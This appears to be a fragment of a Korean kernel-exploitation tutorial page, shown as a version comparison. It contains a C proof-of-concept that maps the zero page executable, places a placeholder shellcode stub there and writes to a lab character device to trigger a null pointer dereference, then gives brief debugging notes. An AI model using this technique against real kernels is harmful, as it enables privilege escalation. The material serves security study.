Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titletest.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef

int main(){

    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);

    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }

    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));

    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        close(fd);
    }else{
        printf("Failed to open file.\n");
    }
    
    return 0;
}

...

Debug

  • chardev_write() 함수의 디버기을 위해 다음과 같이 커널의 주소를 확인합니다.
    • chardev_write() 함수의 주소는 0xf9dac000 입니다.
    • 해당 주소로 Breakpoint를 설정하고 poc 프로그램을 실행합니다.

...